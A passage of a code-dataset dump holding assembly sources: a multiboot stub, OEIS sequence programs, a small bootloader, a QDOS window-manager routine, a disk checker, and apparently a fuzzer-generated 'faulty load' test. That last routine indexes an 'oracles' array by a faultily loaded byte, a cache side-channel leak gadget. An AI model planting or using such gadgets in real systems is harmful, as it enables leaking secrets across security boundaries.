0x1BADB002 ; 'magic number' lets bootloader find the header\nCHECKSUM equ -(MAGIC + FLAGS) ; checksum of above, to prove we are multiboot\n\n; section .multiboot\n jmp _start\n\n[extern _edata]\n[extern _end]\n[extern kmain]\n[global _start]\n\nmheader:\nalign 4\n\tdd MAGIC\n\tdd FLAGS\n\tdd CHECKSUM\n dd mheader\n dd _start\n dd _edata\n dd _end\n dd _start\n dd 0\n dd 1024\n dd 768\n dd 32\n\n[BITS 32]\nsection .text\n align 16\n_start:\n mov esp, stack_end\n push esp\n push ebx\n cli\n call kmain\n jmp $\n\n\nsection .bss\n align 16\nstack_begin:\n resb 4096\nstack_end:\n align 16\n\n","avg_line_length":16.4705882353,"max_line_length":80,"alphanum_fraction":0.6333333333} {"size":672,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A241888: a(n) = 2^(4*n + 1) - 1.\n; 1,31,511,8191,131071,2097151,33554431,536870911,8589934591,137438953471,2199023255551,35184372088831,562949953421311,9007199254740991,144115188075855871,2305843009213693951,36893488147419103231,590295810358705651711,9444732965739290427391,151115727451828646838271,2417851639229258349412351,38685626227668133590597631,618970019642690137449562111,9903520314283042199192993791,158456325028528675187087900671,2535301200456458802993406410751,40564819207303340847894502572031,649037107316853453566312041152511,10384593717069655257060992658440191,166153499473114484112975882535043071\n\nmov $1,16\npow $1,$0\nsub $1,1\nmul $1,2\nadd $1,1\nmov $0,$1\n","avg_line_length":67.2,"max_line_length":578,"alphanum_fraction":0.880952381} {"size":517,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A135005: Decimal expansion of 5\/e.\n; Submitted by Jamie Morken(s3)\n; 1,8,3,9,3,9,7,2,0,5,8,5,7,2,1,1,6,0,7,9,7,7,6,1,8,8,5,0,8,0,7,3,0,4,3,3,7,2,2,9,0,5,5,6,5,5,1,5,8,8,3,9,1,7,2,5,3,9,1,8,4,0,0,8,4,8,7,3,0,7,4,7,8,7,2,4,4,9,9,0,1,6,7,8,5,7,3,6,3,7,1,7,2,9,5,9,8,2,1,8\n\nadd $0,1\nmov $2,1\nmov $3,$0\nmul $3,5\nlpb $3\n div $1,-1\n mul $2,$3\n add $1,$2\n cmp $4,0\n mov $5,$0\n div $5,2\n add $5,$4\n div $1,$5\n div $2,$5\n sub $3,1\n cmp $4,0\nlpe\ndiv $1,2\nmov $6,10\npow $6,$0\ndiv $2,$6\ndiv $1,$2\nmod $1,10\nmov $0,$1\n","avg_line_length":17.8275862069,"max_line_length":201,"alphanum_fraction":0.5222437137} {"size":1125,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A152417: a(n) = (5^n - 1)\/(2^(3 - (n mod 2))).\n; 0,1,3,31,78,781,1953,19531,48828,488281,1220703,12207031,30517578,305175781,762939453,7629394531,19073486328,190734863281,476837158203,4768371582031,11920928955078,119209289550781,298023223876953,2980232238769531,7450580596923828,74505805969238281,186264514923095703,1862645149230957031,4656612873077392578,46566128730773925781,116415321826934814453,1164153218269348144531,2910383045673370361328,29103830456733703613281,72759576141834259033203,727595761418342590332031,1818989403545856475830078,18189894035458564758300781,45474735088646411895751953,454747350886464118957519531,1136868377216160297393798828,11368683772161602973937988281,28421709430404007434844970703,284217094304040074348449707031,710542735760100185871124267578,7105427357601001858711242675781,17763568394002504646778106689453,177635683940025046467781066894531,444089209850062616169452667236328,4440892098500626161694526672363281,11102230246251565404236316680908203,111022302462515654042363166809082031,277555756156289135105907917022705078\n\nmov $2,5\npow $2,$0\ngcd $0,2\nmov $3,$2\ndiv $3,$0\nadd $0,$3\ndiv $0,4\n","avg_line_length":102.2727272727,"max_line_length":1007,"alphanum_fraction":0.8951111111} {"size":3588,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; BSD 3-Clause License\n\n; Copyright (c) 2021, AtieP\n; All rights reserved.\n\n; Redistribution and use in source and binary forms, with or without\n; modification, are permitted provided that the following conditions are met:\n\n; 1. Redistributions of source code must retain the above copyright notice, this\n; list of conditions and the following disclaimer.\n\n; 2. Redistributions in binary form must reproduce the above copyright notice,\n; this list of conditions and the following disclaimer in the documentation\n; and\/or other materials provided with the distribution.\n\n; 3. Neither the name of the copyright holder nor the names of its\n; contributors may be used to endorse or promote products derived from\n; this software without specific prior written permission.\n\n; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nbits 32\n\n%macro print 2+\n jmp %%print_strings\n%%module: db %1,\" \",0x00\n%%message: db %2,0x0a,0x00\n%%print_strings:\n push ebx\n push cx\n mov ebx, %%module\n mov cl, 0x03\n call tty_puts\n mov ebx, %%message\n mov cl, 0x0f\n call tty_puts\n pop cx\n pop ebx\n%endmacro\n\n%macro panic 2+\n jmp %%print_strings\n%%panic_msg: db \"Panic!\",0x0a,0x00\n%%halted_msg: db \"Halted.\",0x00\n%%print_strings:\n mov ebx, %%panic_msg\n mov cl, 0x04\n call tty_puts\n print %1, %2\n mov ebx, %%halted_msg\n mov cl, 0x0f\n call tty_puts\n%%halted_loop:\n cli\n hlt\n jmp %%halted_loop\n%endmacro\n\nstage2_main:\n print \"Tinyvale -\", \"A tiny stivale\/stivale2 bootloader\"\n call gdt_init\n call a20_init\n call pmm_init\n call smp_init\n ; Now, an ELF file may have .stivalehdr AND .stivale2hdr\n ; to be compatible with those. If both are found, let the user choice.\n mov ebx, elf\n mov ecx, .stivalehdr\n xor edx, edx\n call elf_load_section\n test eax, eax\n jnz .check_stivale2\n\n.load_stivale2:\n jmp stivale2_load\n\n.load_stivale:\n jmp stivale_load\n\n.check_stivale2:\n mov ecx, .stivale2hdr\n call elf_load_section\n test eax, eax\n jz .load_stivale\n\n print \"tinyvale\", \"Kernel supports both stivale and stivale2. What to choose?\",0x0a,\"[1]: Stivale\",0x0a,\"[2]: Stivale2\"\n \n.poll_key:\n call ps2_wait_read\n in al, 0x60\n cmp al, 0x82\n je .load_stivale\n cmp al, 0x83\n je .load_stivale2\n jmp .poll_key\n\n.stivalehdr: db \".stivalehdr\",0x00\n.stivale2hdr: db \".stivale2hdr\",0x00\n\n%include \"builtins.asm\"\n%include \"elf.asm\"\n%include \"stivale.asm\"\n%include \"stivale2.asm\"\n%include \"tty.asm\"\n%include \"cpu\/a20.asm\"\n%include \"cpu\/apic.asm\"\n%include \"cpu\/gdt.asm\"\n%include \"cpu\/modes.asm\"\n%include \"cpu\/smp_trampoline.asm\"\n%include \"cpu\/smp.asm\"\n%include \"devices\/edid.asm\"\n%include \"devices\/pic.asm\"\n%include \"devices\/ps2.asm\"\n%include \"devices\/vbe.asm\"\n%include \"devices\/vga.asm\"\n%include \"fw\/acpi.asm\"\n%include \"fw\/smbios.asm\"\n%include \"mm\/pmm.asm\"\n","avg_line_length":28.03125,"max_line_length":123,"alphanum_fraction":0.7201783724} {"size":446,"ext":"asm","lang":"Assembly","max_stars_count":11.0,"content":"; A044782: Numbers n such that string 6,9 occurs in the base 10 representation of n but not of n+1.\n; Submitted by Jon Maiga\n; 69,169,269,369,469,569,669,699,769,869,969,1069,1169,1269,1369,1469,1569,1669,1699,1769,1869,1969,2069,2169,2269,2369,2469,2569,2669,2699,2769,2869,2969,3069,3169,3269,3369,3469,3569\n\nadd $0,1\nmul $0,10\nmov $1,$0\nadd $0,7\ndiv $0,11\nmul $0,7\nsub $1,3\ndiv $1,11\nadd $1,3\nadd $0,$1\nadd $0,$1\nadd $0,$1\nmul $0,10\nsub $0,91\n","avg_line_length":23.4736842105,"max_line_length":184,"alphanum_fraction":0.701793722} {"size":1385,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A188123: Number of strictly increasing arrangements of 4 nonzero numbers in -(n+2)..(n+2) with sum zero.\n; 1,3,8,16,31,51,80,118,167,227,302,390,495,617,758,918,1101,1305,1534,1788,2069,2377,2716,3084,3485,3919,4388,4892,5435,6015,6636,7298,8003,8751,9546,10386,11275,12213,13202,14242,15337,16485,17690,18952,20273,21653,23096,24600,26169,27803,29504,31272,33111,35019,37000,39054,41183,43387,45670,48030,50471,52993,55598,58286,61061,63921,66870,69908,73037,76257,79572,82980,86485,90087,93788,97588,101491,105495,109604,113818,118139,122567,127106,131754,136515,141389,146378,151482,156705,162045,167506,173088,178793,184621,190576,196656,202865,209203,215672,222272\n\nmov $6,$0\nadd $6,1\nmov $12,$0\nlpb $6\n mov $0,$12\n sub $6,1\n sub $0,$6\n mov $9,$0\n mov $10,0\n mov $11,$0\n add $11,1\n lpb $11\n mov $0,$9\n sub $11,1\n sub $0,$11\n add $0,7\n mul $0,2\n mov $5,4\n mod $7,8\n div $7,5\n gcd $7,$0\n mov $8,$0\n mov $0,1\n add $0,$7\n mov $2,$7\n mul $8,5\n lpb $0\n mod $0,$5\n add $0,5\n add $2,12\n mov $4,$0\n add $8,$5\n sub $8,$2\n sub $8,6\n div $0,$8\n mul $4,2\n div $4,8\n add $5,5\n trn $3,$5\n add $3,6\n lpe\n mul $3,2\n add $0,$3\n mov $3,7\n mov $7,$0\n div $8,$0\n add $8,$4\n sub $8,5\n mul $8,2\n add $8,1\n add $10,$8\n lpe\n add $1,$10\nlpe\nmov $0,$1\n","avg_line_length":23.4745762712,"max_line_length":564,"alphanum_fraction":0.5913357401} {"size":5672,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"* Setup a window for the window manager V1.05\t 1986\tTony Tebby QJUMP\n*\n* 2002-13-11 1.05 Adapted for high colour use (MK)\n*\n\tsection wman\n*\n\txdef\twm_prpos\n\txdef\twm_pulld\n\txdef\twm_unset\n\txdef\twm_wrset\n\txdef\twm_wpos\n*\n\txref\twmc_trap3\n*\n\tinclude dev8_keys_qdos_ioa\n\tinclude dev8_keys_qdos_io\n\tinclude dev8_keys_qdos_pt\n\tinclude dev8_keys_wwork\n\tinclude dev8_keys_wstatus\n*\n*\td0 r\terror return\n*\td1 c p initial pointer position (or -1)\n*\ta0 r\tchannel ID of window\n*\ta1 sp pointer to window status area\n*\ta4 c p pointer to working definition\n*\n*\t\tall other registers preserved\n*\nreglist reg\td1-d6\/a1\/a4\nstk_d1\t equ\t$0\nstk_stat equ\t$14 \n*\n*\nwm_unset\n\tmovem.l reglist,-(sp)\t\tsave registers\n\tmove.l\tww_chid(a4),a0\t\tget channel ID\n\tsub.l\ta1,a1\t\t\tno sub-window definition\n\tmoveq\t#iop.swdf,d0\n\tmoveq\t#-1,d3\n\ttrap\t#3\n*\n*\tRestore if pull-down\n*\n\ttst.b\tww_pulld(a4)\n\tbeq\twws_exit\t\t; it's not a pull-down, done\n*\n\tmoveq\t#0,d2\t\t\t; throw away save area\n\tsub.l\ta1,a1\t\t\t; use your own save\n\tmoveq\t#-1,d3\n\tmoveq\t#iop.wrst,d0\t\t; to restore from\n\ttrap\t#3\n*\n\tmoveq\t#iop.sptr,d0\t\t; reset the pointer position\n\tmove.l\tww_psave(a4),d1\n\tmoveq\t#iops.abs,d2\t\t; screen coordinates\n\ttrap\t#3\n\ttst.l\td0\n*\n\tbra.l\twws_exit\n*\n*\nwm_wrset\n\tmovem.l reglist,-(sp)\t\tsave registers\n\tmove.l\tww_chid(a4),a0\t\tget channel ID\n\tlea\tww_xsize(a4),a1 \twindow definition\n\tmoveq\t#iow.defw,d0\n\tmoveq\t#0,d2\t\t\tno border\n\tmoveq\t#-1,d3\n\ttrap\t#3\n\tbra.s\twws_set \t\tset window\n*\n*\nwm_pulld\n\tmovem.l reglist,-(sp)\t\tsave registers\n*\n\tmoveq\t#ioa.open,d0\t\topen\n\tmoveq\t#myself,d1\t\tfor me\n\tmoveq\t#ioa.kexc,d3\t\ta device\n\tlea\tconsole(pc),a0\t\tnamed con\n\ttrap\t#2\t\t\tdo it\n*\n\ttst.l\td0\t\t\tcheck error\n\tbne.s\twws_exit\n\tmove.l\ta0,ww_chid(a4)\t\tset channel ID\n\tst\tww_pulld(a4)\t\tset 'window pulled down'\n\tbra.s\twws_cpnt\n*\nwm_prpos\n\tmovem.l reglist,-(sp)\t\tsave registers\n\tmove.l\tww_chid(a4),a0\t\tget channel ID\n*\nwws_cpnt\n\tmove.l\tww_wstat(a4),a1 \tset pointer to status area\n\ttas\tws_citem(a1)\t\t... no current item\n*\n\taddq.l\t#ws_point,a1\t\tset pointer to pointer record\n\tmoveq\t#iop.rptr,d0\t\tread pointer\n\tmoveq\t#pt.outwn+pt.inwin,d2\treturn in any event\n\tmoveq\t#-1,d3\t\t\twhen complete\n\ttrap\t#3\n\tsubq.l\t#ws_point,a1\t\treset pointer to pointer record\n\ttst.l\td0\t\t\tOK?\n\tbne.s\twws_exit\t\t... no\n\tmove.l\td1,ww_psave(a4) \tset saved pointer address\n*\n\tmove.l\tstk_d1(sp),d0\t\tis new pointer position given?\n\tbmi.s\twws_spos\t\t... no\n\tmove.l\td0,d1\n*\nwws_spos\n\tmove.l\tww_xorg(a4),d5\t\tget offset\n*****\tbne.s\twws_adjst\n*****\n*****\t\t\there find current item position\n*****\nwws_adjst\n\tmoveq\t#0,d6\t\t\toutline key\n\tbsr.s\twm_wpos \t\tposition window\n\tbne.s\twws_exit\n*\n\tmoveq\t#iow.spap,d0\t\t ; set paper colour before border!\n\tmove.w\tww_wattr+wwa_papr(a4),d1\n\tjsr\twmc_trap3\n*\n\tmoveq\t#iow.defb,d0\t\t set border\n\tmove.w\tww_wattr+wwa_borc(a4),d1 ... colour\n\tmove.w\tww_wattr+wwa_borw(a4),d2 ... and width\n\tjsr\twmc_trap3\n\tbra.s\twws_set2\n*\nwws_set\n\tmoveq\t#iow.spap,d0\t\t ; set paper colour\n\tmove.w\tww_wattr+wwa_papr(a4),d1\n\tjsr\twmc_trap3\nwws_set2\n\ttst.b\tww_wattr+wwa_clfg(a4)\t ; clear window?\n\tbmi.s\twws_sprite \n\tmoveq\t#iow.clra,d0\n\ttrap\t#3\nwws_sprite\n\tlea\tww_splst(a4),a1 \tsprite list\n\tmoveq\t#iop.swdf,d0\t\tset as window definition\n\ttrap\t#3\n*\nwws_exit\n\ttst.l\td0\n\tmovem.l (sp)+,reglist\t\trestore registers\n\trts\n\tpage\n*\n* set window position\n*\nwm_wpos\n\tmoveq\t#0,d0\t\t\tfind x shadow size\n\tmove.b\twwa_shdd+ww_wattr(a4),d0 should be zero for pulldown!! \n\tmoveq\t#ww.shadx,d2\t\t.... but we're much more clever now\n\tmulu\td0,d2\n\tswap\td2\n\tmulu\t#ww.shady,d0\t\tand y shadow\n\tmove.w\td0,d2\n*\n\tmoveq\t#0,d0\t\t\tfind border width\n\tmove.w\twwa_borw+ww_wattr(a4),d0\n\tmove.w\td0,d4\n\tadd.w\td4,d4\t\t\tdoubled\n\tswap\td4\n\tmove.w\td0,d4\t\t\tborder width: x,y\n*\n\tlea\tww_xsize(a4),a1 \tset pointer to window definition block\n\tmove.l\t(a1),d0 \t\tget window size\n\tadd.l\td4,d0\t\t\tadjust size to include border\n\tadd.l\td4,d0\n\tmove.l\td0,(a1)\n\tadd.l\td4,d5\t\t\tadjust offset to include border\n*\n* d0 size, d1 pointer pos, d2 shadow, d4 border, d5 offset\n*\n\tmove.l\td4,-(sp)\nflimreg reg\td0\/d2\/a1\n\tmovem.l flimreg,-(sp)\n*\n\tsubq.l\t#8,a7\n\tmove.l\ta7,a1\t\t\tspace for limits\n\tmoveq\t#0,d2\t\t\tunused flag, for now\n\tmoveq\t#-1,d3\n\tmoveq\t#iop.flim,d0\t\t; find permissible limits\n\ttrap\t#3\n\tmovem.l (sp)+,d3\/d4\t\tget limits to registers\n\tadd.l\td4,d3\t\t\tmake into max\/min\n\tadd.l\t#$00030001,d4\t\t; round up minimum\n\tand.l\t#$fffcfffe,d4\n\ttst.l\td0\t\t\t; implemented?\n\tbeq.s\twwp_flmset\n\tmove.l\t#$02000100,d3\t\t; screen max\n\tmoveq\t#0,d4\t\t\t; screen min\n\nwwp_flmset\n\tmovem.l (sp)+,flimreg\n*\n\tbsr.s\twws_forg\t\tfind actual x origin of window\n\tbsr.s\twws_forg\t\t... and y origin of window\n\tmove.l\t(sp)+,d4\n*\n\tand.l\t#$fffcfffe,d1\t\tavoid problems with stipples\n\tmove.l\td1,ww_xorg-ww_xsize(a1) set window position\n*\n\tmoveq\t#iop.outl,d0\t\tset window outline\n\tmove.l\td2,d1\t\t\tset shadow\n\tmove.l\td6,d2\t\t\tset d2 parameter\n\tmoveq\t#-1,d3\n\ttrap\t#3\n\ttst.l\td0\n\tbne.s\twwp_exit\n*\n\tmoveq\t#iop.sptr,d0\t\tset pointer position\n\tmove.l\td5,d1\n\tmoveq\t#1,d2\t\t\t... within hit area\n\tmoveq\t#-1,d3\n\ttrap\t#3\n\tmoveq\t#0,d0\t\t\tignore sptr error\n*\nwwp_exit\n\tlea\tww_xorg(a4),a1\t\treset pointer to window definition block\n\tadd.l\td4,(a1) \t\tadjust for border\n\tadd.l\td4,d4\n\tsub.l\td4,-(a1)\n\ttst.l\td0 \n\trts\n\tpage\n*\n* find origin\n* call: d0 size, d1 pointer pos, d2 shadow, d3 max, d4 min, d5 offset\n* return: d1 window origin\n*\nwws_forg\n\tswap\td0\n\tswap\td1\t\t\tfind ideal window origin\n\tswap\td2\n\tswap\td3\n\tswap\td4\n\tswap\td5\n\tsub.w\td5,d1\t\t\tby taking away window offset\n\tcmp.w\td4,d1\t\t\tless than minimum?\n\tble.s\twwf_orgz\t\tyes, set to minimum\n\tadd.w\td1,d0\t\t\tfind opposite edge, add dimension\n\tadd.w\td2,d0\t\t\t... and shadow\n\tsub.w\td3,d0\t\t\ttake away maximum\n\tble.s\twwf_done\t\t... done\n\tsub.w\td0,d1\t\t\t... outside, move left\/up\nwwf_done\n\trts\nwwf_orgz\n\tmove.w\td4,d1\t\t\torigin at left\/top\n\trts\n*\nconsole dc.w\t15,'con_512x256a0x0'\n\tend\n","avg_line_length":21.984496124,"max_line_length":72,"alphanum_fraction":0.6981664316} {"size":1042,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\tBITS 16\n\t%INCLUDE \"osdev.inc\"\n\tORG 100h\n\n\tdisk_buffer\tequ\t16384\n\nstart:\n\tcall os_wait_for_key\n\n\tmov al, [0]\n\tmov [.drive], al\n\n\tmov ax, 0\n\t\n.loop:\n\tcall .sectorselect\n\tinc ax\n\tcmp ax, 2880\n\tjl .loop\n\t\n\tmov ax, [.bad_sectors]\n\tcall os_int_to_string\n\tmov si, ax\n\tcall os_print_string\n\t\n\tmov si, .badmsg0\n\tcall os_print_string\n\t\n\tcall os_wait_for_key\n\tret\n\t\n.sectorselect:\n\tpusha\n\tmov si, .sectormsg\n\tcall os_print_string\n\t\n\tcall os_int_to_string\n\tmov si, ax\n\tcall os_print_string\n\tpopa\n\t\n\tpusha\n\tcall os_disk_l2hts\t\t; Entered number -> HTS\n\tmov bx, disk_buffer\t\t; Read the sector\n\tmov ah, 2\n\tmov al, 1\n\tmov dl, [.drive]\n\tstc\n\tint 13h\n\tjc .error\n\t\n\tmov si, .pass_msg\n\tcall os_print_string\n\tpopa\n\tret\n\t\n.error:\n\tmov si, .err_msg\n\tcall os_print_string\n\tinc word [.bad_sectors]\n\tpopa\n\tret\n\n\t.drive\t\t\t\tdb 0\n\t.bad_sectors\t\tdw 0\n\t\n\t.sectormsg\t\t\tdb 'Sector ', 0\n\t.pass_msg\t\t\tdb ' - Passed', 13, 10, 0\n\t.err_msg\t\t\tdb ' - Failed', 13, 10, 0\n\t.badmsg0\t\t\tdb ' bad sectors found.', 0\n\t\n; ------------------------------------------------------------------\n\n","avg_line_length":14.0810810811,"max_line_length":68,"alphanum_fraction":0.63243762} {"size":459,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"global _start\nextern main\n\nsection .start.text\nbits32\n_start:\n jmp _entry\nALIGN 8\n\n_entry:\n xor eax, eax\n\txor ebx, ebx\n\txor ecx, ecx\n\txor edx, edx\n\txor edi, edi\n\txor esi, esi\n\txor ebp, ebp\n\txor esp, esp\n ;\u521d\u59cb\u5316\u6808\n mov esp, stack_top\n call main\n\nsection .bss\n; reserved memory for paging\nalign 4096\np4_table:\n resb 4096\np3_table:\n resb 4096\np2_table:\n resb 4096\n; reserved memory for stack\nstack_bottom:\n resb 4096 * 4\nstack_top:\n\n\n\n\n\n\n","avg_line_length":10.9285714286,"max_line_length":28,"alphanum_fraction":0.6797385621} {"size":482,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A153367: Number of zig-zag paths from top to bottom of a rectangle of width 9 with 2n-1 rows whose color is not that of the top right corner.\n; 4,14,50,180,650,2350,8500,30750,111250,402500,1456250,5268750,19062500,68968750,249531250,902812500,3266406250,11817968750,42757812500,154699218750,559707031250,2025039062500,7326660156250,26508105468750\n\nadd $0,1\nmov $1,2\nmov $2,2\nlpb $0\n sub $0,1\n sub $2,$1\n mul $1,5\n sub $2,1\n add $1,$2\nlpe\nsub $1,5\ndiv $1,5\nmul $1,2\nadd $1,4\n","avg_line_length":26.7777777778,"max_line_length":205,"alphanum_fraction":0.7406639004} {"size":7755,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r12\npush %rax\npush %rbp\npush %rbx\npush %rcx\npush %rdi\npush %rdx\npush %rsi\nlea addresses_normal_ht+0x1dbf2, %r12\nnop\nnop\nsub $36721, %rdx\nmov (%r12), %ebp\nnop\nnop\nnop\nnop\nnop\nadd %r12, %r12\nlea addresses_A_ht+0x13d44, %rsi\nlea addresses_WT_ht+0xfd44, %rdi\nnop\nnop\nand $32478, %rax\nmov $26, %rcx\nrep movsw\nnop\nnop\ninc %rbp\nlea addresses_WT_ht+0x1ae44, %rsi\nlea addresses_normal_ht+0xf710, %rdi\nnop\nnop\nnop\nnop\nnop\nxor $36427, %rdx\nmov $55, %rcx\nrep movsq\nnop\nnop\nnop\nnop\nsub %rdi, %rdi\nlea addresses_UC_ht+0x13d44, %r12\nclflush (%r12)\nnop\nnop\nnop\nnop\nand %rdx, %rdx\nmov $0x6162636465666768, %rsi\nmovq %rsi, %xmm6\nvmovups %ymm6, (%r12)\nnop\nnop\nnop\ninc %rbp\nlea addresses_normal_ht+0x4d0c, %rsi\nlea addresses_WT_ht+0xaf44, %rdi\nclflush (%rdi)\nnop\nxor $59898, %rbx\nmov $57, %rcx\nrep movsb\nnop\nnop\nand $61752, %rbx\nlea addresses_UC_ht+0x14076, %r12\ninc %rbp\nmov (%r12), %si\nnop\nnop\nnop\nnop\ndec %rbx\nlea addresses_normal_ht+0xf9c4, %rax\nnop\ndec %rdx\nmov (%rax), %rdi\nnop\ncmp %rdx, %rdx\nlea addresses_normal_ht+0x1c180, %rsi\nnop\nnop\nnop\nnop\nsub %rdi, %rdi\nmov $0x6162636465666768, %rdx\nmovq %rdx, (%rsi)\nnop\nnop\nnop\nnop\ndec %rsi\nlea addresses_A_ht+0xbcc4, %r12\nclflush (%r12)\nnop\nnop\nnop\nnop\nnop\nadd %rdi, %rdi\nmovw $0x6162, (%r12)\nnop\nnop\nnop\nnop\nxor $1117, %rcx\nlea addresses_WC_ht+0x15024, %rsi\nlea addresses_UC_ht+0x6034, %rdi\nand %rdx, %rdx\nmov $13, %rcx\nrep movsl\nxor %rax, %rax\nlea addresses_normal_ht+0x1e844, %rax\nnop\nnop\nnop\nadd $63768, %rdx\nmovl $0x61626364, (%rax)\nnop\nnop\nxor %rbx, %rbx\nlea addresses_UC_ht+0x3fee, %rbp\nnop\nnop\nsub %rsi, %rsi\nmovups (%rbp), %xmm2\nvpextrq $1, %xmm2, %rax\nnop\nnop\ncmp $24198, %r12\nlea addresses_D_ht+0x3ebc, %r12\nnop\nnop\nsub %rbp, %rbp\nmov (%r12), %ax\nnop\nnop\nnop\nadd $28931, %rdx\nlea addresses_WC_ht+0x126b, %rsi\nxor %rdi, %rdi\nmovb $0x61, (%rsi)\nnop\nnop\nnop\nnop\ncmp $59056, %rdx\nlea addresses_UC_ht+0x1bd44, %rsi\nlea addresses_normal_ht+0x16444, %rdi\nnop\ncmp %rbx, %rbx\nmov $100, %rcx\nrep movsl\ninc %rsi\npop %rsi\npop %rdx\npop %rdi\npop %rcx\npop %rbx\npop %rbp\npop %rax\npop %r12\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r10\npush %r13\npush %r14\npush %rbx\npush %rcx\npush %rdx\n\n\/\/ Faulty Load\nlea addresses_WT+0x1fd44, %r10\nadd %r13, %r13\nmovups (%r10), %xmm3\nvpextrq $0, %xmm3, %rdx\nlea oracles, %r14\nand $0xff, %rdx\nshlq $12, %rdx\nmov (%r14,%rdx,1), %rdx\npop %rdx\npop %rcx\npop %rbx\npop %r14\npop %r13\npop %r10\nret\n\n\/*\n\n[REF]\n{'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}\n[Faulty Load]\n{'src': {'type': 'addresses_WT', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}\n\n{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}\n{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM'}\n{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}\n{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}\n{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}\n{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}\n{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}\n{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}\n{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}\n{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}\n{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}\n{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}\n{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}\n{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}\n{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}\n{'39': 21829}\n39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 